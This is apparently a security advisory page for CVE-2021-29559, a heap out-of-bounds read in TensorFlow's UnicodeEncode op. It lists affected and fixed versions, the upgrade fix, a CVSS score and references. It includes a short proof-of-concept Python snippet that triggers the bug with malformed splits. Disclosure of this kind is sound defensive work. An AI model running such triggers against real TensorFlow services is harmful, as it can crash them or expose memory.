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  5. CVE-2021-29559

CVE-2021-29559: Heap OOB access in unicode ops

May 21, 2021 (updated October 31, 2024)

An attacker can access data outside of bounds of heap allocated array in tf.raw_ops.UnicodeEncode:

import tensorflow as tf

input_values = tf.constant([58], shape=[1], dtype=tf.int32)
input_splits = tf.constant([[81, 101, 0]], shape=[3], dtype=tf.int32)
output_encoding = "UTF-8"

tf.raw_ops.UnicodeEncode(
input_values=input_values, input_splits=input_splits,
output_encoding=output_encoding)

References

  • github.com/advisories/GHSA-59q2-x2qc-4c97
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-487.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-685.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-196.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/51300ba1cc2f487aefec6e6631fef03b0e08b298
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-59q2-x2qc-4c97
  • nvd.nist.gov/vuln/detail/CVE-2021-29559

Code Behaviors & Features

Detect and mitigate CVE-2021-29559 with GitLab Dependency Scanning

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Affected versions

All versions before 2.1.4, all versions starting from 2.2.0 before 2.2.3, all versions starting from 2.3.0 before 2.3.3, all versions starting from 2.4.0 before 2.4.2

Fixed versions

  • 2.1.4
  • 2.2.3
  • 2.3.3
  • 2.4.2

Solution

Upgrade to versions 2.1.4, 2.2.3, 2.3.3, 2.4.2 or above.

Impact 7.1 HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-125: Out-of-bounds Read

Source file

pypi/tensorflow-gpu/CVE-2021-29559.yml

Spotted a mistake? Edit the file on GitLab.

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